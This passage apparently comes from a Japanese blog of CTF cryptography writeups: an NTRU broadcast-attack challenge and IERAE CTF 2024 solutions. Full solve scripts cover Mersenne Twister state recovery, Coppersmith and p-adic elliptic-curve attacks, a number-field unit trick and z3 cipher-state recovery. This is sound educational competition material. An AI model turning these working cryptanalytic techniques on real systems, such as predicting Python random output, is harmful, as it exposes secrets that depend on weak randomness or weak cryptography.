def generate_message():
    result = list(randrange(2) for j in range(N))
    return Zx(result)

def encrypt(message, public_key):
    r = Zx(list(randrange(2) for j in range(N)))
    return balancedmod(convolution(public_key, r) + message, q)


msg = generate_message()

public_keys = []
ciphertexts = []
for _ in range(777):
    public_key, secret_key = generate_keys()
    ct = encrypt(msg, public_key)
    public_keys.append(public_key)
    ciphertexts.append(ct)

print("public keys:", public_keys)
print("ciphertexts:", ciphertexts)

key = sha256(str(msg).encode()).digest()[:16]
cipher = AES.new(key=key, mode=AES.MODE_CTR)
enc_flag = cipher.encrypt(FLAG.encode())
print("encrypted flag:", (cipher.nonce + enc_flag).hex())

NTRU暗号が実装されています*1。1つの平文 msg を777個の鍵で暗号化した結果が与えられており、平文 msg を復元することが目標です。

まずNTRU暗号について思い出しておきます。NTRU暗号は格子ベースの耐量子計算機暗号の一種です。秘密鍵は係数が小さい2つの 次以下の多項式 で、公開鍵は です。ここで多項式の計算は環 上で行います。

平文 も係数が小さい 次以下の多項式です。暗号化は、係数が小さい 次以下の多項式 をランダムに生成して、次のように行います。

復号は、まず を計算します。 は係数が小さいので なしでも正確に求まっていることに注意すると、 と復号できます。

さて、同じ平文をたくさんの異なる鍵で暗号化した結果が与えられている状況で平文を復元する攻撃は「broadcast attack」と呼ばれています。RSAのHastad's broadcast attackが有名です（中国剰余定理で が復元できるやつ）。

問題文に貼ってある論文の通り、NTRU暗号に対してもbroadcast attackが知られています。まずはこの論文の内容を理解していきましょう。

, に対し、環 における積 は次のように行列とベクトルの積で表せます。lattice attackを考える時の行列と同じ感じです。

多項式 に対応する 行列を のように表記することにします。

この問題の鍵生成方法では、 の における逆元が取れます。 とし、 とおくと、 です。この式を行列とベクトルで表し、内積 を考えます。

ここで、 が一定であるとすると、

です。

これを暗号文の数だけ集めると の連立2次方程式が得られますが、未知数を増やすことで1次方程式と見ることができます。

とし、, とおくと、 です。さらに、 とおくと、 であり、先ほどの2次方程式は次のように書けます。

これは と を未知数とする1次方程式とみなせます。未知数は 個程度なので、 個程度の暗号文があれば連立1次方程式を解いて平文 が復元できます。この問題では で暗号文は777個あるので十分そうです。

さて、この問題においては、以上のことをそのまま実装するだけではうまくいかない点が1箇所あります。それは、内積 を一定だと仮定している点です。例えばNTRU-1998では、パラメータ が決まっていて、 は係数1の項が 個、係数-1の項が 個、残りの係数は0となるように生成されるので、内積 は で一定です。しかしこの問題では、 は係数が0または1の範囲でランダムに選ばれるので、内積 は一定ではありません。

これは簡単に解決できます。 とおくと、 の成分はすべて1または-1となるので、内積 は で一定です。, とおくと なので、この内積をとって同様に連立1次方程式を作って解けばよいです。

N = 509
q = 2048
p = 3
d = 253

Zx.<x> = ZZ[]

def invertmodprime(f,p):
    T = Zx.change_ring(Integers(p)).quotient(x^N-1)
    return Zx(lift(1 / T(f)))

def invertmodpowerof2(f,q):
    assert q.is_power_of(2)
    h = invertmodprime(f,2)
    while True:
        r = balancedmod(convolution(h,f),q)
        if r == 1: return h
        h = balancedmod(convolution(h,2 - r),q)

def balancedmod(f,q):
    g = list(((f[i] + q//2) % q) - q//2 for i in range(N))
    return Zx(g)

def convolution(f,g):
    return (f * g) % (x^N-1)

with open('output.txt') as f:
    public_keys = sage_eval(f.readline()[len("public keys: "):].strip(), locals={'x':x})
    ciphertexts = sage_eval(f.readline()[len("ciphertexts: "):].strip(), locals={'x':x})
    enc_flag = bytes.fromhex(f.readline()[len("encrypted flag: "):].strip())

one = sum(x^i for i in range(N))
mat = []
vec = []
for h, c in zip(public_keys, ciphertexts):
    try:
        h1 = invertmodpowerof2(h, q)
    except:
        continue
    h1 *= 2
    b = balancedmod(convolution(h1,c)-one, q)

    ht = list(h1)
    ht += [0]*(N-len(ht))
    ht = ht[::-1]
    ht = Zx([ht[-1]]+ht[:-1])
    a = balancedmod(convolution(ht,h1), q)
    w = balancedmod(convolution(ht,b), q)

    d0 = N
    s = (d0-sum(v*v for v in list(b)))%q

    a = list(a)
    w = list(w)
    a += [0]*(N-len(a))
    w += [0]*(N-len(w))

    vec.append(s)
    mat.append([a[0]]+[2*a[i] for i in range(1,N//2+1)]+[-2*w[i] for i in range(N)])

mat = matrix(Zmod(q), mat)
vec = vector(Zmod(q), vec)
res = mat.solve_right(vec)
print(res)
res = [int(v) for v in list(res)[-N:]]
msg = balancedmod(res, 4)

from Crypto.Cipher import AES
from hashlib import sha256

key = sha256(str(msg).encode()).digest()[:16]
cipher = AES.new(key=key, mode=AES.MODE_CTR, nonce=enc_flag[:8])
flag = cipher.decrypt(enc_flag[8:])
print(flag)

今回のネタは、格子ベースの暗号で面白いネタはないかと論文を探していて見つけたものです。最初に見つけたのはNTRUの復号失敗オラクルを使ったCCA(これ)だったのですが、CTFZone 2019 Quals - NTRUで既出であることに気づいて、今回のネタにしました。他にもHITCON CTF 2022 - Easy NTRUなど、よく調べてみるとlattice attack以外にもNTRUに対する攻撃は色々知られていて面白いです。

CTFのCryptoジャンルでは、典型手法をもとにパズルを解くような問題もよく出題されますが、特に難しい問題では、知らない暗号や攻撃手法を競技中に調べて勉強しながら解くことが想定されている問題も多く、それもCTFの面白いところだと思っているので、そのあたりを問う問題を作りたかったのですが、あまりうまく出来なかったなあという感じです。

当初は論文のリンクは無し（broadcast attackというキーワードに気づいて見つけてもらう想定）で、 の係数の1と-1の個数が決まっている（つまり論文をそのまま実装すれば解ける）ものを提案していましたが、論文を探させるのをkeymoonさんにかなり反対されてしまったので、論文のリンクを問題文に貼る形になりました。確かに6時間の競技時間で論文探しも候補に入れながら考察するのはかなり無理があったと思うので、良い変更だったと思います（0 solvesになるところだった）。代わりに の生成方法を変えるちょっとした考察要素を入れてみましたが、良い感じに機能していたかは不明です...

*1:NTRU暗号の実装はこの実装をもとにしています。

IERAE CTF 2024 writeup

IERAE CTF 2024にチームBunkyoWesternsで参加しました。

結果は224チーム中1位でした！

cryptoジャンルの問題は全完することができ、うち2問でfirst bloodを取れました！

[crypto] Weak PRNG

次のようなPythonスクリプトが与えられます。

#!/usr/bin/env python

from os import getenv
import random
import secrets

FLAG = getenv("FLAG", "TEST{TEST_FLAG}")


def main():
    # Python uses the Mersenne Twister (MT19937) as the core generator.
    # Setup Random Number Generator
    rng = random.Random()
    rng.seed(secrets.randbits(32))

    secret = rng.getrandbits(32)

    print("Welcome!")
    print("Recover the initial output and input them to get the flag.")

    while True:
        print("--------------------")
        print("Menu")
        print("1. Get next 16 random data")
        print("2. Submit your answer")
        print("3. Quit")
        print("Enter your choice (1-3)")
        choice = input("> ").strip()

        if choice == "1":
            print("Here are your random data:")
            for _ in range(16):
                print(rng.getrandbits(32))
        elif choice == "2":
            print("Enter the secret decimal number")
            try:
                num = int(input("> ").strip())

                if num == secret:
                    print("Correct! Here is your flag:")
                    print(FLAG)
                else:
                    print("Incorrect number. Bye!")
                break
            except (ValueError, EOFError):
                print("Invalid input. Exiting.")
                break
        elif choice == "3":
            print("Bye!")
            break
        else:
            print("Invalid choice. Please enter 1, 2 or 3.")
            continue


if __name__ == "__main__":
    main()

乱数予測の問題です。最初に32bitの乱数 secret が生成されます。その後、何度でも乱数の出力を得ることができ、最初に生成された乱数 secret を当てることができればフラグが得られます。乱数生成にはPythonのrandomモジュールが用いられています。

Pythonのrandomモジュールはメルセンヌツイスタとよばれる擬似乱数生成アルゴリズムを用いています。メルセンヌツイスタの内部状態は32bit整数624個からなり、32bit整数624個の乱数出力が得られれば内部状態を復元可能です。内部状態の更新の巻き戻しも可能なので、初期の内部状態を復元でき、最初の乱数が求まります。

この記事に載っている実装がほぼそのまま使えました。

import random

# https://inaz2.hatenablog.com/entry/2016/03/07/194147
def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x

def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y

def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y

def get_prev_state(state):
    for i in range(623, -1, -1):
        result = 0
        tmp = state[i]
        tmp ^= state[(i + 397) % 624]
        if ((tmp & 0x80000000) == 0x80000000):
            tmp ^= 0x9908b0df
        result = (tmp << 1) & 0x80000000
        tmp = state[(i - 1 + 624) % 624]
        tmp ^= state[(i + 396) % 624]
        if ((tmp & 0x80000000) == 0x80000000):
            tmp ^= 0x9908b0df
            result |= 1
        result |= (tmp << 1) & 0x7fffffff
        state[i] = result
    return state

from ptrlib import *

sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")

outputs = []
for _ in range(39):
    sock.sendlineafter("> ", "1")
    sock.recvuntil("Here are your random data:\n")
    for i in range(16):
        outputs.append(int(sock.recvline()))

mt_state = [untemper(x) for x in outputs]
prev_mt_state = get_prev_state(mt_state)
random.setstate((3, tuple(prev_mt_state + [0]), None))

secret = [random.getrandbits(32) for _ in range(624)][-1]
sock.sendlineafter("> ", "2")
sock.sendline(str(secret))
sock.interactive()

[crypto] splitting

次のようなSageMathのスクリプトが与えられます。

#!/usr/bin/env sage

from Crypto.Util.number import *
from os import getenv

FLAG = getenv("FLAG", "TEST{TEST_FLAG}").encode()
f = bytes_to_long(FLAG)

p = random_prime(2^128)
Fp = GF(p)
a, b = Fp.random_element(), Fp.random_element()
E = EllipticCurve(Fp, [a, b])

print(a)
print(b)
print(p)

gens = list(E.gens())
if len(gens) < 2:
    gens.append(ZZ(Fp.random_element()) * E.gens()[0])

res = []
while f > 0:
    r = Fp.random_element()
    res.append(ZZ(r) * gens[f & 1])
    f >>= 1

for R in res:
    print(R.xy())

128bitの素数 および 上の楕円曲線がランダムに生成され、 の生成元 を取っています。ただし、 が1つの元のみで生成される場合、 はランダムな点が選ばれます。その後、フラグの各ビット について、ランダムな値 が選ばれ、点 の座標が得られます。

フラグが固定なので、サーバーに何度も接続して情報を得ることが重要そうです。色々な解法がありそうですが、自分は が1つの元のみで生成される場合に はランダムな点であることに着目しました。

の位数 が偶数で、 が1つの元のみで生成される場合だけを考えます (そうでない場合は無視します)。このとき、 は位数 ですが、 はランダムなので確率1/2で を満たします。よって、 が を満たす確率は、 のときは が偶数である確率なので1/2、 のときは が偶数または が成り立つ確率なので3/4となります。

よって、何度もサーバーに接続して が を満たす回数を数え、回数が接続回数の半分より十分多ければ対応するビットは1とわかります。

from ptrlib import *
from Crypto.Util.number import *

L = 567
cnt = [0]*L

t = 0
while t < 150:
    sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")
    a = int(sock.recvline())
    b = int(sock.recvline())
    p = int(sock.recvline())

    Fp = GF(p)
    E = EllipticCurve(Fp, [a, b])
    n = E.order()
    gens = list(E.gens())
    if n%2!=0 or len(gens)>1:
        sock.close()
        continue
    
    t += 1
    for i in range(L):
        P = eval(sock.recvline())
        P = E(P)
        Q = (n//2)*P
        if Q==E(0):
            cnt[i] += 1

f = ""    
for v in cnt:
    if v > 90:
        f += "1"
    else:
        f += "0"
f = f[::-1]
print(long_to_bytes(int(f,2)))

[crypto] cluster

次のようなPythonスクリプトとその実行結果が与えられます。

from secret import p, q, r, flag
from Crypto.Util.number import isPrime, bytes_to_long

N = p * q * r

assert isPrime(p) and p.bit_length() < 1024
assert isPrime(q) and q.bit_length() < 1024
assert isPrime(r) and r.bit_length() < 1024
assert p ** 2 + q ** 2 + r ** 2 + (p * q + q * r + r * p) == 6 * N



m = bytes_to_long(flag)
e = 65537
c = pow(m, e, N)

print(f'{c = }')

3つの素数 を使ったRSA暗号でフラグが暗号化されています。 が成り立つことがわかっています。 の値は与えられません。

が与えられないので、 の解 を列挙する必要がありそうです。東大入試の過去問で の整数解が無限個あることを示す問題があったことを思い出しました。この問題は、 が解なら も解であることを使って解けます。同様の方法を試してみることにします。

(素数でなくてもよい) が の解のとき、 の2次方程式 は を解に持ちます。この方程式のもう一つの解を とすると、解と係数の関係より です。よって、 も解であることがわかります。同様に も解であることがわかります。 から始めてこの方法で解を無数に構築することができます。

東大の過去問の方程式について調べると、この方程式はマルコフ方程式とよばれていることがわかります。「markov equation integer solution」などのキーワードで調べると、この論文が見つかります。この論文によると、 の解は上記の方法で生成されるもので全てであることが示せるようです。

1024bit以下の解を全て列挙してみると解は35000個程度しかないことがわかるので、これらのうち素数であるもの (3個しかない) について復号を試せばよいです。

from Crypto.Util.number import *

c = 803065078252547393812982498895211019353977926969143481455672761264443519482121067346644328911375984166893647468186232810673857290127114177258405196432172412966170401425497369188710097376895361641046391686887615687734454887428130745946475159776034046370464137762008371294039825175819408224450178007611894599399705434991448459196552982074660952318580952594830076838718297573226980847848142642550316589863549823042663312178673956251841439218528410295177672591802052069297783
e = 65537

st = set()
def dfs(p,q,r):
    if (p,q,r) in st:
        return
    if r.bit_length()>1024:
        return
    v = p ** 2 + q ** 2 + r ** 2 + (p * q + q * r + r * p)
    n = p*q*r
    assert v==6*n
    st.add((p,q,r))
    p1 = (q**2+r**2+q*r)//p
    q1 = (p**2+r**2+p*r)//q
    dfs(*sorted([p1,q,r]))
    dfs(*sorted([p,q1,r]))

dfs(1,1,1)

for p,q,r in st:
    n = p*q*r
    if not(isPrime(p) and isPrime(q) and isPrime(r)):
        continue
    print(p,q,r)
    d = pow(e,-1,(p-1)*(q-1)*(r-1))
    m = pow(c,d,n)
    flag = long_to_bytes(m)
    print(flag)
    # if b'IERAE' in flag:
    #     print(flag)

この方法で全ての解が列挙できることを確認する前に実装はしていましたがフラグが出ず、他の解があるのかと思い調べたところ、これで全ての解が出てくることを示す論文が見つかったので、実装ミスかなと思いながら試しに復号結果が IERAE を含むとき出力するのではなく全ての復号結果を出力するようにしてみたところ、CTF{xxx} というフラグが出てきて、カス！となりました。作問者の方はフラグフォーマットには注意をお願いします...

[crypto] Heady Heights

次のようなSageMathのスクリプトとその実行結果が与えられます。

from sage.all import *
import flag

BITS = 88
K = 8


def random(lower_bound=0, upper_bound=2 ^ BITS, bits=None):
    return ZZ.random_element(lower_bound, upper_bound)


def random_bits(bits):
    return random(2 ^ (bits - 1), 2 ^ bits)


p = next_prime(random_bits(BITS))
m = ZZ(flag.FLAG.encode().hex(), 16)

a, b, E = None, None, None
P = None
Q = None
R = None

while True:
    a = random_bits(BITS)
    b = random_bits(BITS)
    E = EllipticCurve(Zmod(p ^ K), [a, b])
    try:
        P = E.lift_x(1337)
        break
    except:
        continue

while True:
    secret_key = random(upper_bound=p ^ (K - 1))
    x0 = (secret_key * m) % (p ^ K)
    try:
        R = E.lift_x(x0)
        break
    except:
        continue

Q = secret_key * P


def xy(P):
    t = P.xy()
    return ZZ(t[0]), ZZ(t[1])


x1, y1 = xy(P)
x2, y2 = xy(Q)
x3, y3 = xy(R)

print((x1, x2, x3))
print((y1, y2, y3))

上の楕円曲線 の点 , , が与えられます。ここで、 の 座標は1337です。 は、0以上 未満のランダムな整数 secret_key ( とする) を用いて と計算されています。 は、 とフラグの積 を 座標とする点です。 の値や の方程式 は与えられませんが、 は88bitであることがわかっています。

() 上の楕円曲線におけるDLPについてはzer0pts CTF 2021 pure divisionで出題されており、 進数体上にliftすることで解けることが知られています。よって、 の値がわかれば、この方法で secret_key が求まるので、 の 座標からフラグが求まります。

の値を求めるところが問題です。 とおきます。 () から を消去すると、 が得られます。よって、 は で割り切れます。

は2800bit程度あるので素因数分解することは難しそうです*1。そこで、 や の値が小さいことに着目します。 において、 で、 は88bitであることから、 は100bit程度の値になります。よって、 の多項式 が の約数 をmodとして小さい根 を持つので、Coppersmith法でその根が求まります。SageMathのsmall_roots関数を用いる際のパラメータは、 のbit数が のbit数の1/4程度なので とします。根は より十分小さいので、 を適当に設定することで根が求まります。

根 が求まれば、 より が求まります。

from gmpy2 import iroot
from Crypto.Util.number import *

x1,x2,x3 = (1337, 108758038897050520831860923441402897201224898270547825657705075428051130846061735614252293345445641285591980004736447964462956581141116321772403519125859758137648644808920743070411296325521866392898376475395494, 5438451076181919949694350690364579526012926958491719881284366792649670689294870931317007945903275017524668258922051576064401873439529896167369498669912618211164397682696947429627504905294350782410183543966679528)
y1,y2,y3 = (2356240417146305163212384832005924367753484871437731042165238964932920608988096746757585282365391701455222258919772283748442969489163122612874542328479985011793178437324509351503404273134948028573603448460822465, 5224211491008373131406603536527981755345757742567201307027247664784412223361972085071271594280642689356776497337283996518196426296230388008390390705691353643411319840725993589925599219787596133403802269715179842, 1255469150673352477643406441586559401886808227235272570913194477760462899397412967437903450228715079681927518702031385236882455686813595191144244687009073603134094899106009798791920033413388436982273752206346286)

c1 = y1**2-x1**3
c2 = y2**2-x2**3
c3 = y3**2-x3**3

n = abs((x1-x2)*(c1-c3)-(x1-x3)*(c1-c2))
for i in range(2,100000):
    while n%i==0:
        n//=i

R.<x> = PolynomialRing(Zmod(n))
f = x-y1^2

beta = 0.25
eps = beta^2/4
res = f.small_roots(beta=beta, epsilon=eps)
p8 = GCD(int(res[0]-y1^2), n)
p = int(iroot(int(p8), 8)[0])
print(p)

K = 8
a = (c1-c2)*pow(int(x1-x2),int(-1),int(p**K))%(p**K)
b = (c1-a*x1)%(p**K)
print(a)
print(b)

Fp = GF(p)
Qp = pAdicField(p, K)
E = EllipticCurve(Qp, [a, b])
N = EllipticCurve(GF(p), [a, b]).order()

S = E(x1,y1)
T = E(x2,y2)
NS = N * S
a = Fp(-NS[0] / (p * NS[1]))

n = 0
l = 1
Sp = S
Tp = T
ds = []
while Tp != 0:
    NTp = N*Tp
    w = -NTp[0] / NTp[1]
    b = w / p^l
    d = Fp(Integer(b)/a)
    ds.append(Integer(d))
    Tp = Tp - Integer(d)*Sp
    Sp = p*Sp
    n += 1
    l += 1
    if n > K:
        break

solve = 0
for i in range(len(ds)):
    solve += ds[i] * p^i

flag = pow(int(solve),int(-1),int(p^K))*x3%(p^(K))
print(long_to_bytes(int(flag)))

非想定だったようですが、欲しい素数を約数に持つような を (RSAの公開鍵などで与えられているわけではなく) 作ったうえでCoppersmith法を適用するという流れが面白かったです。

[crypto] Free Your Mind

次のようなSageMathのスクリプトが与えられます。

#!/usr/bin/env sage

from sage.all import *
import flag
import sys
import os

sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', buffering=1)
sys.stderr = os.fdopen(sys.stderr.fileno(), 'w', buffering=1)
sys.stdin = os.fdopen(sys.stdin.fileno(), 'r', buffering=1)

# Initial configuration
UCF = UniversalCyclotomicField()
zeta = UCF.zeta(11).to_cyclotomic_field()

eta = zeta^2 + zeta^-2

# NF is a finite Galois extension of the rational field, hence NF is a simple extension of the rational field
NF.<omega> = NumberField(eta.minpoly())
deg = NF.degree()

CRITERIA = 2^16
BITS = 2048

def main():
    print("Welcome to *Number Theoretic* Encryption Oracle!")

    print("Enter your request key:")
    coeffs = []
    # you can enter any element of NF because omega's coefficient is controllable :)
    # ...but smaller value is prohibited to prevent cheating!
    for _ in range(deg):
        x = input().replace(" ", "")
        if "/" in x: 
            p, q = x.split("/")
            p = int(p)
            q = int(q)
            g = gcd(p, q)
            p /= g
            q /= g
            if abs(p) < CRITERIA or abs(q) < CRITERIA:
                print("You can't cheat!")
                return
            coeffs.append(QQ(p) / q)
        else:
            x = int(x)
            if abs(x) < CRITERIA:
                print("You can't cheat!")
                return
            coeffs.append(x)

    print("We got your request key")
    # your element is here
    alpha = sum(x * omega^i for i, x in enumerate(coeffs))

    # we use the norm of `alpha` for RSA's public key
    # class group order is not used here, because it is too complicated to compute :(
    e = alpha.norm()
    set_random_seed(int(str(alpha).encode().hex(), 16) * current_randstate().ZZ_seed()) # Add to the entropy pool
    p = random_prime(2^BITS)
    q = random_prime(2^BITS)

    N = p * q
    d = Mod(e, (p - 1) * (q - 1))^-1
    # print(f"{e = }") <- you don't need it because you can compute it, isn't it?
    print(f"{N = }")
    msg = ZZ(flag.FLAG.encode().hex(), 16)
    assert msg < N
    c = ZZ(Mod(msg, N)^e)
    assert Mod(c, N)^d == msg
    print(f"Enc(flag) = {c}") # Can you get the FLAG?

if __name__ == "__main__":
    try:
        main()
    except:
        print("Are you kidding me?")

を1の原始11乗根として、 とし、 という代数体を考えています。 は の5次拡大です。 の元 を入力すると、 のノルム を公開鍵 の値とするRSA暗号でフラグを暗号化した結果が得られます。ただし、 () と表したときの の値はある程度大きい必要があります。

まずノルムの定義を思い出しておきます。代数体 に対し、 の 上の最小多項式 ( を根に持つ最小次数の有理数係数多項式) を とし、 の根を とします。共役写像 を、 () に対し で定めます。このとき、 のノルムは で定義されます。

例えば、 とすると、共役写像は恒等写像と の2つなので、 です。

ノルムは乗法的です。つまり、 に対し、 が成り立ちます。

の整数環を とします。結論から言うと、 を の単数とすれば、 となり、フラグがそのまま得られます。

の単数とは、 を満たす が存在するような の元 のことをいいます。例えば、有理整数環 の単数は のみですが、 の整数環 ] の単数は無数にあります。実際、 なので は ] の単数であり、 () は全て ] の単数です。

が の単数のとき、ノルムの乗法性より は の単数なので、 です。

この問題の においても、 の単数は無数に存在します。実際、SageMathのドキュメントを見ながら、 の単数のなす群 (単数群) を計算してみると次のようになります。

sage: UCF = UniversalCyclotomicField() 
....: zeta = UCF.zeta(11).to_cyclotomic_field() 
....:  
....: eta = zeta^2 + zeta^-2                                                     
sage: NF.<omega> = NumberField(eta.minpoly())                                    
sage: UK = UnitGroup(NF)                                                         
sage: UK                                                                         
Unit group with structure C2 x Z x Z x Z x Z of Number Field in omega with defining polynomial x^5 + x^4 - 4*x^3 - 3*x^2 + 3*x + 1

単数群は4つの位数無限の元から生成されるようです。 の単数群の生成元を の基本単数といいます。基本単数は次のようにしてSageMathで計算できます。

sage: UK.fundamental_units()                                                     
[omega^4 - 4*omega^2 + 2,
 -omega^3 + 3*omega,
 -omega^3 + 3*omega - 1,
 omega^2 - 2]

これを何乗かすれば、 の式で表したときの係数が大きい単数が得られます。

sage: u = UK.fundamental_units()[0]                                              
sage: alpha = u^50                                                                   
sage: alpha                                                                          
-35550146891575*omega^4 + 11066005530460*omega^3 + 127746807020466*omega^2 - 60895014313320*omega - 26994779733015
sage: alpha.norm()                                                                   
1

としてこの値をサーバーに入力してみるとフラグが得られました。

first bloodでした。大学のとき代数的整数論を勉強していたのですぐ解けました。

[rev, crypto] Fortress

x86-64 ELFのバイナリおよび、それをサーバーとして実行するためのDockerfileが与えられます。

実行してみると、任意の平文に対する暗号文を取得する機能、フラグの暗号文を取得する機能があることがわかります。

$ ./fortress 
1. Encrypt
2. Get Encrypted Flag
3. Exit
> 1
Enter plaintext (Base64): aaaa 
Encrypted (Base64): xB4kEGgYs6/VBWXH4SMdy58n0Sk2EGd020hoEaHJlu4=
1. Encrypt
2. Get Encrypted Flag
3. Exit
> 2
Encrypted Flag: +vcCpLPOaYDVYOQpAsvGpv1qy/hH4EpEmGiMuBHYi54=
1. Encrypt
2. Get Encrypted Flag
3. Exit
> 3

また、Dockerfileに長さ96の16進文字列をファイル key.txt に書き込む処理があることから、鍵は48bytesで固定のようです。

revパートはほぼチームメンバーのkanonさんにやっていただきましたが、簡単に説明します。はじめに key.txt から鍵を読み込み、128bytesの内部状態を初期化しています。その後、まずフラグを flag.txt から読み込んで暗号化しています。メニューの2番を選択すると、このときの暗号文が出力されます (メニューの2番を選択するたびに都度暗号化しているわけではない)。

入力された平文は、base64デコードされた後、32bytesごとに暗号化され、base64エンコードされて出力されます。 暗号化の処理はkanonさんがPythonで書き起こしてくれたコードをもとに説明します。

内部状態は8bytesのブロック16個 (key_0, key_1, ..., key_15) に分かれています。まず、内部状態の一部をAESENC命令で処理したものを平文にXORし、暗号文を作っています。AESENC命令はAESの1ラウンド分の処理 (SubBytes, ShiftRows, MixColumns, AddRoundKey) を行う命令らしいです。ちなみに、AESENCをエミュレートする関数はptrlibに intel_aesenc として実装されています (ptrlibすごい)。

aes_return_1 = aes_1round(key_2, key_3, key_10, key_11)
aes_return_2 = aes_1round(bxor(key_8, key_0), bxor(key_9, key_1), key_4, key_5)

v33 = bxor(flag_copy[0], aes_return_1[:8])
v34 = bxor(flag_copy[1], aes_return_1[8:])
v35 = bxor(flag_copy[2], aes_return_2[:8])
v36 = bxor(flag_copy[3], aes_return_2[8:])
ct.extend([v33, v34, v35, v36])

その後、内部状態の更新が行われます。内部状態の更新処理もAESENCとXORの組み合わせですが、key_0, key_1, key_8, key_9 の部分には暗号文がXORされているのがポイントです。

aes_ret1 = aes_1round(key_0, key_1, key_14, key_15)
aes_ret2 = aes_1round(key_4, key_5, key_2, key_3)

key_0_tmp = bxor(key_14, v33)
key_1_tmp = bxor(key_15, v34)
key_4 = bxor(key_12, key_2)
key_5 = bxor(key_13, key_3)

aes_ret3 = aes_1round(key_8, key_9, key_6, key_7)
aes_ret4 = aes_1round(key_10, key_11, key_8, key_9)
key_8 = bxor(key_6, v35)
key_9 = bxor(key_7, v36)
key_14 = bxor(key_12, key_0)
key_15 = bxor(key_13, key_1)

key_1 = key_1_tmp
key_0 = key_0_tmp

key_2, key_3 = aes_ret1[:8], aes_ret1[8:]
key_6, key_7 = aes_ret2[:8], aes_ret2[8:]
key_10, key_11 = aes_ret3[:8], aes_ret3[8:]
key_12, key_13 = aes_ret4[:8], aes_ret4[8:]

cryptoパートに取り掛かります。まず、暗号化を1回行った後の内部状態が完全にわかっているとして、暗号化前の内部状態を復元できるかを考えます。これが出来ないと解ける気がしませんが、正攻法で出来るようにも見えなかったので*2、z3を試してみたところ無事復元できました。実装においてはsboxが非線形な点が困りますが、josephさんのRTACTF 2023 1R-AESのwriteupを参考にしました。このAESの実装も使っています。

from ptrlib import *
from z3 import *
import base64

from aes import s_box, shift_rows, add_round_key, inv_shift_rows, inv_sub_bytes

def bxor(a, b):
    return [x^y for x,y in zip(a,b)]

def bytes2matrix(text):
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    return sum(matrix, [])

def xtime(a):
    return If((a & 0x80)==0, (a << 1), (((a << 1) ^ 0x1B) & 0xFF))

def mix_single_column(a):
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)

def mix_columns(s):
    for i in range(4):
        mix_single_column(s[i])

def sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = z3_SBOX(s[i][j])

def aes_1round(a, b, c, d):
    block = bytes2matrix(a+b)
    sub_bytes(block)
    shift_rows(block)
    mix_columns(block)
    add_round_key(block, bytes2matrix(c+d))
    return matrix2bytes(block)

solver = Solver()
z3_SBOX = Function('z3_SBOX', BitVecSort(8), BitVecSort(8))

for i in range(len(s_box)):
    solver.add(z3_SBOX(i) == s_box[i])

state = [[BitVec(f'k_{i}_{j}', 8) for j in range(8)] for i in range(16)]

state_next = [0]*16

v0 = aes_1round(state[2], state[3], state[10], state[11])
v1 = aes_1round(bxor(state[0],state[8]), bxor(state[1],state[9]), state[4], state[5])

w0 = aes_1round(state[0],state[1],state[14],state[15])
w1 = aes_1round(state[4],state[5],state[2],state[3])
w2 = aes_1round(state[8],state[9],state[6],state[7])
w3 = aes_1round(state[10],state[11],state[8],state[9])

sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")
sock.sendline("2")
res = sock.recvlineafter("Encrypted Flag: ").decode()
ciphertext = list(base64.b64decode(res))
ciphertext = [ciphertext[i:i+8] for i in range(0,32,8)]

state_next[0] = bxor(state[14], ciphertext[0])
state_next[1] = bxor(state[15], ciphertext[1])
state_next[2] = w0[:8]
state_next[3] = w0[8:]
state_next[4] = bxor(state[2], state[12])
state_next[5] = bxor(state[3], state[13])
state_next[6] = w1[:8]
state_next[7] = w1[8:]
state_next[8] = bxor(state[6], ciphertext[2])
state_next[9] = bxor(state[7], ciphertext[3])
state_next[10] = w2[:8]
state_next[11] = w2[8:]
state_next[12] = w3[:8]
state_next[13] = w3[8:]
state_next[14] = bxor(state[0], state[12])
state_next[15] = bxor(state[1], state[13])

state_next_res = [[161, 242, 146, 82, 34, 29, 135, 155], [86, 168, 207, 23, 4, 170, 222, 96], [126, 145, 68, 64, 52, 200, 213, 235], [234, 93, 97, 36, 250, 144, 51, 232], [13, 39, 147, 1, 150, 101, 75, 183], [243, 192, 168, 249, 13, 24, 166, 135], [19, 250, 249, 216, 201, 38, 182, 14], [60, 154, 216, 182, 41, 6, 175, 73], [9, 113, 215, 109, 250, 115, 202, 242], [243, 57, 226, 102, 174, 112, 56, 211], [104, 122, 157, 81, 82, 71, 247, 211], [236, 176, 62, 108, 81, 85, 151, 183], [56, 30, 250, 116, 206, 75, 170, 38], [172, 241, 237, 125, 84, 40, 16, 16], [30, 225, 84, 144, 194, 14, 172, 12], [174, 137, 125, 157, 37, 255, 41, 39]]

for i in range(16):
    for j in range(8):
        solver.add(state_next_res[i][j] == state_next[i][j])

print('solving...')
print(solver.check())
m = solver.model()
print([[m[k].as_long() for k in state[i]] for i in range(16)])

次に、入力する平文が内部状態の更新に関わることに着目し、入力する平文を1ビット反転させることを考えます。このとき暗号文も1ビット反転するので、次の内部状態における key_0, key_1, key_8, key_9 のいずれか1ビットが反転します。すると、次の暗号文にXORされる aes_1round(bxor(key_8, key_0), bxor(key_9, key_1), key_4, key_5) において、AESENCのstateの入力が1ビット反転します。

AESENCのstateの入力が1ビット反転すると、SubBytesによりそのビットが属す1バイトが変化し、MixColumnsによりその変化が4バイトに拡散されます。この4バイトの差分は、ビット反転した1バイトの値のみに依存するので、1バイトずつ全探索することでstateの入力を求めることができます。

